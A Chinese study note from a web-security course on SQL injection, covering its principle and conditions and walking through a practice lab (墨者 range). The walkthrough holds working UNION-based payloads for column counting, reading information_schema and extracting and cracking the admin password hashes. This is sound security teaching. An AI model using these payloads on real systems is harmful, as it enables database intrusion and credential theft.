【小迪安全day12】WEB 漏洞——SQL 注入

WEB 漏洞-SQL 注入在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
【小迪安全day12】WEB 漏洞——SQL 注入_第1张图片

思维导图:
【小迪安全day12】WEB 漏洞——SQL 注入_第2张图片

1、SQL注入安全测试中危害

大部分的SQL注入是对数据库中的数据进行操作,绕过查询、更新或者是删除;
SQL注入可以操作数据,通过SQL注入直接进行后门的写入;

**两个危害:**一个是危害数据库中的数据,另一个直接危害网站权限;

2、SQL注入产生原理详细分析

SQL注入原理:通过参数的传递,传递数据过去,拼接到之前定义好的SQL语句中去,由于能拼接,将一些恶意的SQL语句拼接上去,语句就会进行一些重新的用法,实现自定义的查询;

补充:为什么图片里面的id=-2,因为我们要查询的表是另外一个,所以要把前面的查询语句置否,然后数据库就会执行后面那句;

【小迪安全day12】WEB 漏洞——SQL 注入_第3张图片

必备条件:

(1)可控变量
像下面这个变量id就是可控变量,通过参数传递,可以对id进行变化;
因为这里的**id= i d ∗ ∗ , 是 变 量 可 以 修 改 , 如 果 给 定 了 一 个 值 ( 如 设 置 id**,是变量可以修改,如果给定了一个值(如设置 idid=1111),就不可以去执行,没办法进行操作;
在这里插入图片描述
(2)带入数据库查询
必须要有mysql_query($sql)执行语句,如果没有上面图中的mysql_query这个语句去执行的话,也不能成功,带入数据库才行;
在这里插入图片描述

(3)变量未存在过滤或者过滤不严谨

实例:

【小迪安全day12】WEB 漏洞——SQL 注入_第4张图片

答案是1、2、3;
需要有可控制变量,需要有参数,加不加index.php其实访问的页面都一样;答案4也可以,这里暂时不讲;

【小迪安全day12】WEB 漏洞——SQL 注入_第5张图片
答案是2、3;
答案1,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
答案3,在y后面写正不正确都可以,只要在x后的注入正确即可;
答案4,都没有参数x,怎么可能会有注入;

3、Sqlilabs 注入靶场搭建简要使用

下载链接:sqlilabs安装教程

MYSQL数据库层次:
数据库A=网站A
【小迪安全day12】WEB 漏洞——SQL 注入_第6张图片

4、墨者靶机真实 MYSQL 注入演示

【小迪安全day12】WEB 漏洞——SQL 注入_第7张图片

背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MySQL的数据结构;
4.了解字符串的MD5加解密;

解题方向
手工进行SQL注入测试,获取管理密码登录。

如何判断注入点?

老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
【小迪安全day12】WEB 漏洞——SQL 注入_第8张图片

新办法:
select * from users where id=1dddddddddd LIMIT 0,1
这样输入,如果对网站有影响,证明他代入数据库查询了,证明了会有漏洞;

如果报了404错误,说明检测了,但是没有漏洞;

判断注入

猜解列名数量(字段数),因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值;

实例:

正常情况:
【小迪安全day12】WEB 漏洞——SQL 注入_第9张图片
在id乱输,发现对网站有影响,说明有漏洞:
【小迪安全day12】WEB 漏洞——SQL 注入_第10张图片

猜解列名数量,发现输入5网站报错:
219.153.49.228:42123/new_list.php?id=1 order by 5
【小迪安全day12】WEB 漏洞——SQL 注入_第11张图片

219.153.49.228:42123/new_list.php?id=1 order by 1,2,3,4正常
【小迪安全day12】WEB 漏洞——SQL 注入_第12张图片

报错猜解准备
http://124.70.22.208:45141/new_list.php?id=-1%20 union select 1,2,3,4

【小迪安全day12】WEB 漏洞——SQL 注入_第13张图片
2和3有显示位,报错数字是随机显示的

开始信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
**操作系统:@@version_compile_os ** Linux

必要知识点:
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

基础信息查询结果:
【小迪安全day12】WEB 漏洞——SQL 注入_第14张图片

【小迪安全day12】WEB 漏洞——SQL 注入_第15张图片

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
【小迪安全day12】WEB 漏洞——SQL 注入_第16张图片

查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

查询指定数据

http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
【小迪安全day12】WEB 漏洞——SQL 注入_第17张图片
md5解密得到用户名:
【小迪安全day12】WEB 漏洞——SQL 注入_第18张图片

猜解多个数据可以采用limit x,1

在末尾添加 limit 1,1(注意有空格),得到另一个密码
【小迪安全day12】WEB 漏洞——SQL 注入_第19张图片
解密后得到密码:
【小迪安全day12】WEB 漏洞——SQL 注入_第20张图片

你可能感兴趣的:(网安学习,安全,sql,数据库)